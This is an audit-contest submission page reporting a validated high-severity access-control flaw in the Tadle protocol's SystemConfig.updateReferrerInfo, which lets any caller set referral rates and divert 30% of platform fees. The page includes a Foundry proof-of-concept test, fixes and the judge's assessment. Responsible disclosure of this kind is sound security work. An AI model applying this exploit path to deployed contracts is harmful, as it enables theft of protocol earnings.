Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

SystemConfig - Referral program abuse

Hrom131

Summary

Anyone can call the updateReferrerInfo function of the SystemConfig contract, thereby stealing the platform's earnings

Vulnerability Details

The SystemConfig contract has an updateReferrerInfo function that allows users to set _referrerRate value for any address.

The main requirements in the updateReferrerInfo function are:

  1. msg.sender address must not be _referrer address

  2. The expression _referrerRate + _authorityRate = baseReferralRate + referralExtraRate must be met

Let's look at how you can get around these conditions:

  1. The first condition is simple, we just need to send the transaction not from the _referrer address, for simplicity we can use different relayers or custom smart contracts.

  2. The default value of referralExtraRate for all addresses is 0, so next consider the expression _referrerRate + _authorityRate = baseReferralRate. Since there is a check on the contract that _referrerRate must be at least as large as baseReferralRate, our expression will simplify to the simple form _referrerRate = baseReferralRate. So the values we pass to the function must be _referrerRate = baseReferralRate and _authorityRate = 0.

So any address can steal 30% (baseReferralRate value) of the platform's rewards.

The test code that shows the vulnerability:

Simply add the test to the PreMarkets.t.sol file and run the tests.

To check the platformFee value without exploiting the vulnerability, lines 27 and 28 should be commented out

function test_referral_program_abuse() public {
vm.startPrank(user);
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
10 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
​
vm.stopPrank();
​
address offerAddr = GenerateAddress.generateOfferAddress(0);
address makerAddr = GenerateAddress.generateMakerAddress(0);
​
ReferralInfo memory referralInfo = systemConfig.getReferralInfo(user1);
​
console.log("referrerRate - ", referralInfo.referrerRate); // 0
console.log("authorityRate - ", referralInfo.authorityRate); // 0
​
vm.prank(user2);
systemConfig.updateReferrerInfo(user1, baseReferralRate, 0);
​
referralInfo = systemConfig.getReferralInfo(user1);
​
console.log("referrerRate - ", referralInfo.referrerRate); // 300_000 - 30%
console.log("authorityRate - ", referralInfo.authorityRate); // 0
​
vm.startPrank(user1);
​
uint256 pointsToBuy = 250;
​
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offerAddr, pointsToBuy);
​
vm.stopPrank();
​
MakerInfo memory makerInfo = preMarktes.getMakerInfo(makerAddr);
​
console.log("platformFee - ", makerInfo.platformFee);
console.log("User ReferralBonus - ", tokenManager.userTokenBalanceMap(user1, address(mockUSDCToken), TokenBalanceType.ReferralBonus));
}

Impact

Thanks to the vulnerability, every user can steal 30% (baseReferralRate value) of the platform's earnings effortlessly.

Tools Used

The vulnerability was discovered through a manual audit of contract code. A unit test was also written, which confirms the existence of the vulnerability.

Recommendations

You can add a check to prevent anyone from calling the updateReferrerInfo function.

The second option is to change the checks inside the updateReferrerInfo function so that the user cannot set _referrerRate without referralExtraRate or cannot pass _referrerRate == baseReferralRate

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-SystemConfig-updateReferrerInfo-msgSender

Valid high severity. There are two impacts here due to the wrong setting of the `refferalInfoMap` mapping. 1. Wrong refferal info is always set, so the refferal will always be delegated to the refferer address instead of the caller 2. Anybody can arbitrarily change the referrer and referrer rate of any user, resulting in gaming of the refferal system I prefer #1500 description the most, be cause it seems to be the only issue although without a poc to fully describe all of the possible impacts

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.